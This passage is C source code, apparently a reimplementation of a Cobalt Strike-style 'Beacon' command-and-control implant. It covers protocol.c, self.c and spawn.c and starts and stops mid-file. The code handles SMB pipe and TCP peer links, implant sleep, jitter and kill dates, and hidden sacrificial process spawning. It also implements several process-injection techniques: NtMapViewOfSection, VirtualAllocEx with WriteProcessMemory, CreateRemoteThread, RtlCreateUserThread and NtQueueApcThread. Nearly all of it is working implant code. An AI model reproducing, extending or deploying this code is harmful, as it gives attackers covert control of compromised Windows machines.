FALSE;\n\n\tBOOL result = FALSE;\n\twhile (GetTickCount() < timeout)\n\t{\n\t\tchar buf[1];\n\t\tint received = recv(protocol->channel.socket, buf, sizeof(char), MSG_PEEK);\n\t\tif(!received)\n\t\t\tbreak;\n\n\t\tif(received > 0)\n\t\t{\n\t\t\tresult = TRUE;\n\t\t\tbreak;\n\t\t}\n\n\t\tif (WSAGetLastError() != WSAEWOULDBLOCK)\n\t\t\tbreak;\n\n\t\tSleep(iterWaitTime);\n\t}\n\n\targp = 0;\n\tif (ioctlsocket(protocol->channel.socket, FIONREAD, &argp) == SOCKET_ERROR)\n\t\treturn FALSE;\n\n\treturn result;\n}\n\nPROTOCOL* ProtocolSmbInit(PROTOCOL* protocol, HANDLE handle)\n{\n\tprotocol->channel.handle = handle;\n\tprotocol->read = ProtocolSmbRead;\n\tprotocol->write = ProtocolSmbWrite;\n\tprotocol->close = ProtocolSmbClose;\n\tprotocol->flush = ProtocolSmbFlush;\n\tprotocol->waitForData = ProtocolSmbWaitForData;\n\treturn protocol;\n}\n\nPROTOCOL* ProtocolTcpInit(PROTOCOL* protocol, SOCKET socket)\n{\n\tprotocol->channel.socket = socket;\n\tprotocol->read = ProtocolTcpRead;\n\tprotocol->write = ProtocolTcpWrite;\n\tprotocol->close = ProtocolTcpClose;\n\tprotocol->flush = NULL;\n\tprotocol->waitForData = ProtocolTcpWaitForData;\n\treturn protocol;\n}\n\nvoid ProtocolSmbOpenExplicit(char* data)\n{\n\tint timeout = GetTickCount() + 15000;\n\tHANDLE file;\n\twhile (timeout < GetTickCount())\n\t{\n\t\tfile = CreateFileA(data, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OPEN_NO_RECALL, NULL);\n\t\tif (file != INVALID_HANDLE_VALUE)\n\t\t{\n\t\t\tint mode = PIPE_READMODE_MESSAGE;\n\t\t\tif (!SetNamedPipeHandleState(file, &mode, NULL, NULL))\n\t\t\t{\n\t\t\t\tDWORD lastError = GetLastError();\n\t\t\t\tLERROR(\"Could not connect to pipe: %s\", LAST_ERROR_STR(lastError));\n\t\t\t\tBeaconErrorD(ERROR_CONNECT_TO_PIPE_FAILED, lastError);\n\t\t\t\tgoto cleanup;\n\t\t\t}\n\n\t\t\tPROTOCOL protocol;\n\t\t\tProtocolSmbInit(&protocol, file);\n\t\t\tint port = 445;\n\t\t\tif (!LinkAdd(&protocol, port))\n\t\t\t\tgoto cleanup;\n\n\t\t\treturn;\n\t\t}\n\n\t\tif (GetLastError() == ERROR_PIPE_BUSY)\n\t\t{\n\t\t\tWaitNamedPipeA(data, 10000);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tSleep(1000);\n\t\t}\n\t}\n\n\tDWORD lastError = GetLastError();\n\tif (lastError == ERROR_SEM_TIMEOUT)\n\t{\n\t\tLERROR(\"Could not connect to pipe: %s\", LAST_ERROR_STR(lastError));\n\t\tBeaconErrorNA(ERROR_CONNECT_TO_PIPE_TIMEOUT);\n\t}\n\telse\n\t{\n\t\tLERROR(\"Could not connect to pipe: %s\", LAST_ERROR_STR(lastError));\n\t\tBeaconErrorD(ERROR_CONNECT_TO_PIPE_FAILED, lastError);\n\t}\n\n\tcleanup:\n\t\tDisconnectNamedPipe(file);\n\t\tCloseHandle(file);\n}\n"
  },
  {
    "path": "Beacon/protocol.h",
    "content": "#pragma once\n\ntypedef union _CHANNEL {\n\tHANDLE handle;\n\tSOCKET socket;\n} CHANNEL;\n\ntypedef struct _PROTOCOL {\n\tCHANNEL channel;\n\tint (*read)(struct _PROTOCOL*, char*, int);\n\tBOOL (*write)(struct _PROTOCOL*, char*, int);\n\tvoid (*close)(struct _PROTOCOL*);\n\tvoid (*flush)(struct _PROTOCOL*);\n\tBOOL (*waitForData)(struct _PROTOCOL*, int, int);\n} PROTOCOL;\n\nPROTOCOL* ProtocolTcpInit(PROTOCOL* protocol, SOCKET socket);\n\nvoid ProtocolSmbOpenExplicit(char* data);\nint ProtocolSmbPipeRead(HANDLE channel, char* buffer, int length);"
  },
  {
    "path": "Beacon/self.c",
    "content": "#include \"pch.h\"\n\n#include \"self.h\"\n\n#include \"beacon.h\"\n#include \"settings.h\"\n\nint gSleepTime;\nint gJitter;\n\nvoid Die(void)\n{\n\tgSleepTime = 0;\n\tBeaconOutput(CALLBACK_DEAD, NULL, 0);\n}\n\nvoid SleepSet(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\n\tgSleepTime = BeaconDataInt(&parser);\n\tint jitter = BeaconDataInt(&parser);\n\tif (jitter >= 100)\n\t\tjitter = 0;\n\tgJitter = jitter;\n\tBeaconDataZero(&parser);\n}\n\nvoid Pause(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\n\tint millis = BeaconDataInt(&parser);\n\n\tSleep(millis);\n}\n\nBOOL BeaconIsExpired()\n{\n\tif(S_KILLDATE)\n\t{\n\t\tSYSTEMTIME now;\n\t\tGetSystemTime(&now);\n\n\t\tlong time = now.wDay + 100 * (now.wMonth + 100 * now.wYear);\n\t\treturn time >= S_KILLDATE;\n\t}\n\n\treturn FALSE;\n}\n\n[[noreturn]] void BeaconInterrupt()\n{\n\tif(S_EXIT_FUNK == TRUE)\n\t{\n\t\tif (S_CFG_CAUTION == TRUE)\n\t\t{\n\t\t\twhile (TRUE)\n\t\t\t\tSleep(1000);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tExitThread(0);\n\t\t}\n\t} else {\n\t\tif (S_CFG_CAUTION == TRUE) {\n\t\t\tHANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ExitProcess, NULL, 0, NULL);\n\t\t\tWaitForSingleObject(hThread, INFINITE);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tExitProcess(0);\n\t\t}\n\t}\n}"
  },
  {
    "path": "Beacon/self.h",
    "content": "#pragma once\n\nvoid Die(void);\nvoid SleepSet(char* buffer, int length);\nvoid Pause(char* buffer, int length);\n"
  },
  {
    "path": "Beacon/spawn.c",
    "content": "#include \"pch.h\"\n\n#include \"spawn.h\"\n\n#include <tlhelp32.h>\n#include <winternl.h>\n\n#include \"beacon.h\"\n#include \"settings.h\"\n\n\n#include \"argument.h\"\n#include \"beacon.h\"\n#include \"identity.h\"\n#include \"utils.h\"\n\nint gParentPid;\n\nvoid Spawn(char* data, int size, BOOL x86, BOOL ignoreToken)\n{\n\tIdentityConditionalRevert(ignoreToken);\n\n\tSTARTUPINFOA si = { sizeof(STARTUPINFOA) };\n\tPROCESS_INFORMATION pi = { 0 };\n\n\t/* get the startup information of the current process */\n\tGetStartupInfoA(&si);\n\n\t// Indicate the attributes of the process to be created.\n\tsi.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // means: use the following handles and show the window\n\tsi.wShowWindow = SW_HIDE; // means: don't show the window\n\n\t// clear the standard input\n\tmemset(&si.hStdInput, 0, sizeof(si.hStdInput));\n\n\t// Spawn a temporary process.\n\tif (BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi))\n\t{\n\t\tSleep(100);\n\n\t\t// Inject the payload into the spawned process using InjectProcess.\n\t\tBeaconInjectTemporaryProcess(&pi, data, size, 0, NULL, 0);\n\n\t\tBeaconCleanupProcess(&pi);\n\t}\n\n\tIdentityConditionalImpersonate(ignoreToken);\n}\n\nvoid SpawnAndPing(char* data, int size, BOOL x86)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, data, size);\n\tshort port = BeaconDataShort(&parser);\n\tCHAR* spawnData = BeaconDataBuffer(&parser);\n\tSIZE_T spawnSize = BeaconDataLength(&parser);\n\n\tSpawn(spawnData, spawnSize, x86, TRUE);\n\n\tport = htons(port);\n\tBeaconOutput(CALLBACK_PING, (char*)&port, sizeof(port));\n}\n\nchar* gSpawnToX86 = NULL;\nchar* gSpawnToX64 = NULL;\nDWORD SpawnToExpand(char* expanded, size_t size, BOOL x86)\n{\n\tchar lBuffer[256] = { 0 };\n\n\tchar* spawnTo;\n\tif (x86)\n\t{\n\t\tif (gSpawnToX86 == NULL || strlen(gSpawnToX86) == 0)\n\t\t{\n\t\t\tspawnTo = S_SPAWNTO_X86;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tLERROR(\"gSpawnToX86 is not NULL or empty\");\n\t\t}\n\t}\n\telse\n\t{\n\t\tif (gSpawnToX64 == NULL || strlen(gSpawnToX64) == 0)\n\t\t{\n\t\t\tspawnTo = S_SPAWNTO_X64;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tLERROR(\"gSpawnToX64 is not NULL or empty\");\n\t\t}\n\t}\n\n\tsnprintf(lBuffer, sizeof(lBuffer), \"%s\", spawnTo);\n\treturn ExpandEnvironmentStrings_s(lBuffer, expanded, size);\n}\n\n#define MAX_CMD 256\nvoid SpawnToFix(BOOL x86, char* cmd)\n{\n\tmemset(cmd, 0, MAX_CMD);\n\tSpawnToExpand(cmd, MAX_CMD, x86);\n\n\tif (!x86)\n\t{\n\t\t// look for the substring \"sysnative\" in cmd\n\t\tchar* substr = strstr(cmd, \"sysnative\");\n\t\tif (!substr)\n\t\t\treturn;\n\n\t\tchar aux[MAX_CMD] = { 0 };\n\t\tmemcpy(substr, \"system32\", STRLEN(\"system32\"));\n\n\t\t// copy the rest of the string\n\t\tchar* after = substr + STRLEN(\"sysnative\");\n\t\tint afterLength = strlen(after);\n\t\tmemcpy(aux, after, afterLength);\n\n\t\tmemcpy(substr + STRLEN(\"system32\"), aux, strlen(aux) + 1);\n\t}\n}\n\n/**\n * @brief Gets the spawn path based on the architecture.\n *\n * This function retrieves the spawn path depending on the architecture (x86 or x64).\n * The result is stored in the provided buffer after expanding any environment variables.\n *\n * @param x86 Flag indicating whether the architecture is x86 (TRUE) or x64 (FALSE).\n * @param buffer A pointer to the buffer where the spawn path will be stored.\n * @param length The size of the buffer in bytes.\n */\nvoid BeaconGetSpawnTo(BOOL x86, char* buffer, int length)\n{\n\tchar cmd[MAX_CMD];\n\tSpawnToFix(x86, cmd);\n\n\tint size = min(length, MAX_CMD);\n\tmemcpy(buffer, cmd, size);\n}\n\ntypedef struct _INJECTION\n{\n\tDWORD pid;\n\tHANDLE process;\n\tBOOL isX64;\n\tBOOL isProcessX64;\n\tBOOL isSameArchAsHostSystem;\n\tBOOL isSamePid;\n\tBOOL isTemporary;\n\tHANDLE thread;\n} INJECTION;\n\n;\ntypedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_ISWOW64PROCESS)(_In_ HANDLE hProcess, _Out_ PBOOL Wow64Process);\ntypedef WINBASEAPI HMODULE(WINAPI* FN_KERNEL32_LOADLIBRARYA)(_In_ LPCSTR lpLibFileName);\ntypedef WINBASEAPI FARPROC(WINAPI* FN_KERNEL32_GETPROCADDRESS)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);\ntypedef WINBASEAPI LPVOID(WINAPI* FN_KERNEL32_VIRTUALALLOC)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);\ntypedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_VIRTUALPROTECT)(_In_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flNewProtect, _Out_ PDWORD lpflOldProtect);\n\ntypedef CLIENT_ID* PCLIENT_ID;\ntypedef NTSTATUS(NTAPI* FN_NTDLL_RTLCREATEUSERTHREAD)(_In_ HANDLE ProcessHandle, _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor, _In_ BOOLEAN CreateSuspended, _In_opt_ ULONG StackZeroBits, _In_opt_ SIZE_T StackReserve, _In_opt_ SIZE_T StackCommit, _In_ PVOID StartAddress, _In_opt_ PVOID Parameter, _Out_opt_ PHANDLE ThreadHandle, _Out_opt_ PCLIENT_ID ClientId);\ntypedef NTSTATUS(NTAPI* FN_NTDLL_NTQUEUEAPCTHREAD)(_In_ HANDLE ThreadHandle, _In_ PVOID ApcRoutine, _In_ PVOID ApcRoutineContext OPTIONAL, _In_ PVOID ApcStatusBlock OPTIONAL, _In_ PVOID ApcReserved OPTIONAL);\n\ntypedef enum _SECTION_INHERIT {\n\tViewShare = 1,\n\tViewUnmap = 2\n} SECTION_INHERIT, * PSECTION_INHERIT;\ntypedef NTSTATUS(NTAPI* FN_NTDLL_NTMAPVIEWOFSECTION)(_In_ HANDLE SectionHandle, _In_ HANDLE ProcessHandle, _Inout_ PVOID* BaseAddress, _In_ ULONG_PTR ZeroBits, _In_ SIZE_T CommitSize, _Inout_opt_ PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize, _In_ SECTION_INHERIT InheritDisposition, _In_ ULONG AllocationType, _In_ ULONG Win32Protect);\n\nBOOL IsWow64ProcessEx(HANDLE hProcess)\n{\n\tHMODULE hModule = GetModuleHandleA(\"kernel32\");\n\tFN_KERNEL32_ISWOW64PROCESS _IsWow64Process = (FN_KERNEL32_ISWOW64PROCESS)GetProcAddress(hModule, \"IsWow64Process\");\n\tif (_IsWow64Process == NULL)\n\t{\n\t\tLERROR(\"kernel32$IsWow64Process: IsWow64Process is NULL\");\n\t\treturn FALSE;\n\t}\n\n\tBOOL Wow64Process = FALSE;\n\treturn _IsWow64Process(hProcess, &Wow64Process) && Wow64Process;\n}\n\nBOOL IsProcess64Bit(HANDLE hProcess)\n{\n\tif (!IS_X64() && !IsWow64ProcessEx(GetCurrentProcess()))\n\t\treturn FALSE;\n\n\treturn !IsWow64ProcessEx(hProcess);\n}\n\ntypedef struct _PAYLOAD\n{\n\tSHORT mzSignature;\n\tchar _[982];\n\tFN_KERNEL32_LOADLIBRARYA pLoadLibraryA;\n\tFN_KERNEL32_GETPROCADDRESS pGetProcAddress;\n\tFN_KERNEL32_VIRTUALALLOC pVirtualAlloc;\n\tFN_KERNEL32_VIRTUALPROTECT pVirtualProtect;\n\tDWORD keyPtrMagic;\n\tDWORD smartInjectMagic;\n} PAYLOAD;\n\n\nchar* InjectViaNtMapViewOfSection(HANDLE handle, DWORD pid, const char* payload, int size)\n{\n\t/* determine the minimum allocation size based on S_PROCINJ_MINALLOC */\n\tint dwSize = max(S_PROCINJ_MINALLOC, size);\n\n\t/* get the handle to the ntdll module */\n\tHMODULE hModule = GetModuleHandleA(\"ntdll.dll\");\n\n\t/* get the address of the NtMapViewOfSection function */\n\tFN_NTDLL_NTMAPVIEWOFSECTION _NtMapViewOfSection = (FN_NTDLL_NTMAPVIEWOFSECTION)GetProcAddress(hModule, \"NtMapViewOfSection\");\n\n\t/* check if the function was found */\n\tif (_NtMapViewOfSection == NULL)\n\t\treturn NULL;\n\n\t/* create a file mapping object */\n\tHANDLE hFileMapping = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, dwSize, NULL);\n\n\tLPVOID lpBaseAddress = NULL;\n\n\t/* check if the file mapping object was created */\n\tif (hFileMapping != INVALID_HANDLE_VALUE)\n\t{\n\t\t// map a view of the file into the process's address space (use MapViewOfFile)\n\t\tLPVOID lpFileMap = MapViewOfFile(hFileMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwSize);\n\n\t\t// check if the file was mapped\n\t\tif (lpFileMap)\n\t\t{\n\t\t\t// copy the payload into the mapped file\n\t\t\tmemcpy(lpFileMap, payload, size);\n\n\t\t\t// call NtMapViewOfSection to map the file into the target process\n\n\t\t\tSIZE_T dwViewSize = 0;\n\t\t\tNTSTATUS status = _NtMapViewOfSection(hFileMapping, handle, &lpBaseAddress, 0, 0, NULL, &dwViewSize, ViewShare, 0, S_PROCINJ_PERMS);\n\n\t\t\t// unmap the file from the current process\n\t\t\tUnmapViewOfFile(lpFileMap);\n\t\t}\n\n\t\t// close the file mapping object\n\t\tCloseHandle(hFileMapping);\n\t}\n\n\tif (lpBaseAddress == NULL) {\n\t\tconst DWORD lastError = GetLastError();\n\t\tLERROR(\"Allocate section and copy data failed: %s\", LAST_ERROR_STR(lastError));\n\t\tBeaconErrorD(ERROR_ALLOC_SECTION_FAILED, lastError);\n\t\treturn NULL;\n\t}\n\n\treturn (char*)lpBaseAddress;\n}\n\nchar* InjectViaVirtualAllocEx(HANDLE hProcess, DWORD pid, const char* payload, int size)\n{\n\t/* determine the minimum allocation size based on S_PROCINJ_MINALLOC */\n\tint dwSize = max(S_PROCINJ_MINALLOC, size);\n\n\t/* allocate memory in the target process */\n\tLPBYTE lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, S_PROCINJ_PERMS_I);\n\n\t/* check if the memory was allocated */\n\tif (lpBaseAddress == NULL)\n\t{\n\t\tconst DWORD lastError = GetLastError();\n\t\tLERROR(\"Could not allocate %d bytes in process: %s\", dwSize, LAST_ERROR_STR(lastError));\n\t\tBeaconErrorDD(ERROR_LOCAL_ALLOC_FAILED, dwSize, lastError);\n\t\treturn NULL;\n\t}\n\n\tint wrote = 0;\n\tfor (int total = 0; total < size; total += wrote)\n\t{\n\t\tif (!WriteProcessMemory(hProcess, lpBaseAddress + total, payload + total, size - total, &wrote))\n\t\t{\n\t\t\tDWORD lastError = GetLastError();\n\t\t\tLERROR(\"Could not write to process memory: %s\", LAST_ERROR_STR(lastError));\n\t\t\tBeaconErrorD(ERROR_WRITE_TO_PROC_MEMORY_FAILED, lastError);\n\t\t\tVirtualFree(lpBaseAddress, 0, MEM_RELEASE);\n\t\t\treturn NULL;\n\t\t}\n\t}\n\n\tif (S_PROCINJ_PERMS_I != S_PROCINJ_PERMS)\n\t{\n\t\tDWORD flOldProtect;\n\t\tif (!VirtualProtectEx(hProcess, lpBaseAddress, dwSize, S_PROCINJ_PERMS, &flOldProtect))\n\t\t{\n\t\t\tDWORD lastError = GetLastError();\n\t\t\tLERROR(\"Could not adjust permissions in process: %s\", LAST_ERROR_STR(lastError));\n\t\t\tBeaconErrorD(ERROR_ADJUST_PERMISSIONS_FAILED, lastError);\n\t\t\tVirtualFree(lpBaseAddress, 0, MEM_RELEASE);\n\t\t\treturn NULL;\n\t\t}\n\t}\n\n\treturn (char*)lpBaseAddress;\n}\n\nchar* InjectRemotely(INJECTION* injection, const char* payload, int size)\n{\n\tif (S_PROCINJ_ALLOCATOR && injection->isSameArchAsHostSystem)\n\t{\n\t\treturn InjectViaNtMapViewOfSection(injection->process, injection->pid, payload, size);\n\t}\n\telse\n\t{\n\t\treturn InjectViaVirtualAllocEx(injection->process, injection->pid, payload, size);\n\t}\n}\n\nBOOL AdjustMemoryPermissions(char* payload, int size) {\n\tif (S_PROCINJ_PERMS_I == S_PROCINJ_PERMS)\n\t\treturn TRUE;\n\n\tDWORD flOldProtect;\n\tif (!VirtualProtect(payload, size, S_PROCINJ_PERMS, &flOldProtect))\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Could not adjust permissions in process: %s\", LAST_ERROR_STR(lastError));\n\t\tBeaconErrorD(ERROR_ADJUST_PERMISSIONS_FAILED, lastError);\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n\nchar* InjectLocally(char* payload, int size)\n{\n\tint dwSize = S_PROCINJ_MINALLOC;\n\tif (size > dwSize)\n\t\tdwSize = size + 1024;\n\n\tchar* pAlloc = (char*)VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, S_PROCINJ_PERMS_I);\n\n\tif (!pAlloc)\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Could not allocate %d bytes in process: %s\", dwSize, LAST_ERROR_STR(lastError));\n\t\tBeaconErrorDD(ERROR_LOCAL_ALLOC_FAILED, dwSize, lastError);\n\t\treturn NULL;\n\t}\n\n\tmemcpy(pAlloc, payload, size);\n\tif (AdjustMemoryPermissions(pAlloc, dwSize))\n\t{\n\t\treturn pAlloc;\n\t}\n\n\tVirtualFree(pAlloc, 0, MEM_RELEASE);\n\n\treturn NULL;\n}\n\nvoid InjectIntoPid(char* buffer, int length, BOOL x86)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\n\tint pid = BeaconDataInt(&parser);\n\tint payloadOffset = BeaconDataInt(&parser);\n\n\tHANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);\n\tif (hProcess == NULL)\n\t{\n\t\tint lastError = GetLastError();\n\t\tLERROR(\"Could not open process %d: %s\", pid, LAST_ERROR_STR(lastError));\n\t\tBeaconErrorDD(ERROR_OPEN_PROCESS_FAILED, pid, lastError);\n\t\treturn;\n\t}\n\n\tBOOL isProcessX64 = IsProcess64Bit(hProcess);\n\tif(x86 == isProcessX64)\n\t{\n\t\tint type;\n\t\tif (isProcessX64)\n\t\t{\n\t\t\tLERROR(\"%d is a x64 process (can't inject x86 content)\", pid);\n\t\t\ttype = ERROR_INJECT_X86_INTO_X64;\n\t\t} else {\n\t\t\tLERROR(\"%d is a x86 process (can't inject x64 content)\", pid);\n\t\t\ttype = ERROR_INJECT_X64_INTO_X86;\n\t\t}\n\t\tBeaconErrorD(type, pid);\n\t\treturn;\n\t}\n\n\tint len = BeaconDataLength(&parser);\n\tchar* payload = BeaconDataBuffer(&parser);\n\tBeaconInjectProcess(hProcess, pid, payload, len, payloadOffset, NULL, 0);\n\tCloseHandle(hProcess);\n}\n\nvoid InjectIntoPidAndPing(char* buffer, int length, BOOL x86)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tshort port = BeaconDataShort(&parser);\n\n\tint size = BeaconDataLength(&parser);\n\tchar* payload = BeaconDataBuffer(&parser);\n\tInjectIntoPid(payload, size, x86);\n\n\tport = htons(port);\n\tBeaconOutput(CALLBACK_PING, (char*)&port, sizeof(port));\n}\n\nBOOL ExecuteViaCreateRemoteThread(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter)\n{\n\treturn CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, 0, NULL) != NULL;\n}\n\nBOOL ExecuteViaRtlCreateUserThread(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter)\n{\n\tHMODULE hModule = GetModuleHandleA(\"ntdll.dll\");\n\tFN_NTDLL_RTLCREATEUSERTHREAD _RtlCreateUserThread = (FN_NTDLL_RTLCREATEUSERTHREAD)GetProcAddress(hModule, \"RtlCreateUserThread\");\n\tif (_RtlCreateUserThread == NULL)\n\t{\n\t\tLERROR(\"Cannot find RtlCreateUserThread in ntdll.dll\");\n\t\treturn FALSE;\n\t}\n\n\tCLIENT_ID ClientId;\n\tHANDLE hThread = NULL;\n\t_RtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0, lpStartAddress, lpParameter, &hThread, &ClientId);\n\treturn hThread != NULL;\n}\n\nBOOL ExecuteViaNtQueueApcThread_s(INJECTION* injection, LPVOID lpStartAddress, LPVOID lpParameter)\n{\n\tHMODULE hModule = GetModuleHandleA(\"ntdll\");\n\tFN_NTDLL_NTQUEUEAPCTHREAD _NtQueueApcThread = (FN_NTDLL_NTQUEUEAPCTHREAD)GetProcAddress(hModule, \"NtQueueApcThread\");\n\n\tif (_NtQueueApcThread == NULL)\n\t\treturn FALSE;\n\n\tif (_NtQueueApcThread(injection->thread, lpStartAddress, lpParameter, NULL, NULL) != 0)\n\t\treturn FALSE;\n\n\treturn ResumeThread(injection->thread) != -1;\n}\n\n\n//CreateThread typedef\ntypedef HANDLE(WINAPI* FN_KERNEL32_CREATETHREAD)(_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_opt_ __drv_aliasesMem LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_opt_ LPDWORD lpThreadId);\ntypedef struct _APC_ROUTINE_CONTEXT\n{\n\tLPVOID lpStartAddress;\n\tLPVOID lpAddress;\n\tFN_KERNEL32_CREATETHREAD pCreateThread;\n\tBOOL isExecuted;\n\tCHAR payload[];\n} APC_ROUTINE_CONTEXT, * PAPC_ROUTINE_CONTEXT;\n\n#if IS_X64()\n#define TEB$ActivationContextStack() ((char*)NtCurrentTeb() + 0x2c8)\n#else\n#define TEB$ActivationContextStack() ((char*)NtCurrentTeb() + 0x1a8)\n#endif\n\n#pragma code_seg(push, \".text$KKK000\")\n__declspec(noinline) void NtQueueApcThreadProc(PAPC_ROUTINE_CONTEXT pData)\n{\n\tif (pData->isExecuted)\n\t\treturn;\n\n\tif (!(TEB$ActivationContextStack()))\n\t\treturn;\n\n\tpData->isExecuted = TRUE;\n\tpData->pCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pData->lpStartAddress, pData->lpAddress, 0, NULL);\n}\n#pragma code_seg(pop)\n\n#pragma code_seg(push, \".text$KKK001\")\n__declspec(noinline) void NtQueueApcThreadProc_End(void) {}\n#pragma code_seg(pop)\n\nBOOL ExecuteViaNtQueueApcThread(INJECTION* injection, LPVOID lpStartAddress, LPVOID lpParameter)\n{\n\tHMODULE hModule = GetModuleHandleA(\"ntdll\");\n\tFN_NTDLL_NTQUEUEAPCTHREAD _NtQueueApcThread = (FN_NTDLL_NTQUEUEAPCTHREAD)GetProcAddress(hModule, \"NtQueueApcThread\");\n\n\tSIZE_T payloadSize = (DWORD64)NtQueueApcThreadProc_End - (DWORD64)NtQueueApcThreadProc;\n\tSIZE_T dwSize = sizeof(APC_ROUTINE_CONTEXT) + payloadSize;\n\tPAPC_ROUTINE_CONTEXT pAllocedData = malloc(dwSize);\n\tif (!pAllocedData)\n\t\treturn FALSE;\n\n\tAPC_ROUTINE_CONTEXT data = (APC_ROUTINE_CONTEXT){ lpStartAddress, lpParameter, CreateThread, FALSE };\n\t*pAllocedData = data;\n\tmemcpy(pAllocedData->payload, (PVOID)NtQueueApcThreadProc, payloadSize);\n\tAPC_ROUTINE_CONTEXT* lpApcContext = VirtualAllocEx(injection->process, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\n\n\tSIZE_T wrote;\n\tif (lpApcContext && WriteProcessMemory(injection->process, lpApcContext, pAllocedData, dwSize, &wrote) && wrote != dwSize)\n\t\tlpApcContext = NULL;\n\n\tfree(pAllocedData);\n\n\tif ((char*)lpApcContext == NULL)\n\t\treturn FALSE;\n\n\t// Create a toolhelp snapshot of the process\n\tHANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\n\n\t// Check if snapshot creation failed or there are no threads in the process\n\tTHREADENTRY32 te32 = { sizeof(THREADENTRY32) };\n\tif (hSnapshot == INVALID_HANDLE_VALUE || hSnapshot == NULL || !Thread32First(hSnapshot, &te32))\n\t\treturn FALSE;\n\n\t// Iterate through the threads in the snapshot\n\tdo\n\t{\n\t\t// Check if the thread is in the process we want to inject into\n\t\tif (te32.th32OwnerProcessID != injection->pid)\n\t\t\tcontinue;\n\n\t\t// Open the thread\n\t\tHANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);\n\t\tif (hThread == NULL)\n\t\t\tcontinue;\n\n\t\t// Call the NtQueueApcThread function in the target process\n\t\t(_NtQueueApcThread)(hThread, lpApcContext->payload, lpApcContext, NULL, NULL);\n\n\t\t// Close the thread\n\t\tCloseHandle(hThread);\n\t} while (Thread32Next(hSnapshot, &te32));\n\n\t// Close the snapshot handle\n\tCloseHandle(hSnapshot);\n\n\t// Sleep to give the thread time to execute\n\tSleep(200);\n\n\t// Read the APC thread data from the allocated memory\n\tSIZE_T read;\n\tif (!ReadProcessMemory(injection->process, lpApcContext, &data, sizeof(APC_ROUTINE_CONTEXT), &read) || read != sizeof(APC_ROUTINE_CONTEXT))\n\t\treturn FALSE;\n\n\t// Return TRUE if the thread was executed\n\tif (data.isExecuted)\n\t\treturn TRUE;\n\n\t// Mark the thread as executed and write it back to the allocated memory\n\tdata.isExecuted = TRUE;\n\tWriteProcessMemory(injection->process, lpApcContext, &data, sizeof(APC_ROUTINE_CONTEXT), &read);\n\treturn FALSE;\n}\n\n#define METHOD_CREATE_THREAD 1\n#define METHOD_SET_THREAD_CONTEXT 2\n#define METHOD_CREATE_REMOTE_THREAD 3\n#define METHOD_RTL_CREATE_USER_THREAD 4\n#define METHOD_NT_QUEUE_APC_THREAD 5\n#define METHOD_CREATE_THREAD_S 6\n#define METHOD_CREATE_REMOTE_THREAD_S 7\n#define METHOD_NT_QUEUE_APC_THREAD_S 8\n\nBOOL ExecuteViaCreateRemoteThread_s(DWORD option, HANDLE hProcess, LPVOID lpAddress, LPVOID lpParameter, LPCSTR lpModuleName, LPCSTR lpProcName, DWORD ordinal)\n{\n\tHANDLE hModule = GetModuleHandleA(lpModuleName);\n\tBYTE* processAddress = (BYTE*)GetProcAddress(hModule, lpProcName);\n\tif (!processAddress)\n\t\treturn FALSE;\n\n\tBYTE* finalAddress = processAddress + ordinal;\n\tHANDLE hThread;\n\tif (option == METHOD_CREATE_REMOTE_THREAD_S)\n\t{\n\t\thThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)finalAddress, lpParameter, CREATE_SUSPENDED, NULL);\n\t}\n\telse if (option == METHOD_CREATE_THREAD_S)\n\t{\n\t\thThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)finalAddress, lpParameter, CREATE_SUSPENDED, NULL);\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n\n\tif (!hThread)\n\t\treturn FALSE;\n\n\tCONTEXT context;\n\tcontext.ContextFlags = CONTEXT_FULL;\n\n\tif (!GetThreadContext(hThread, &context))\n\t\treturn 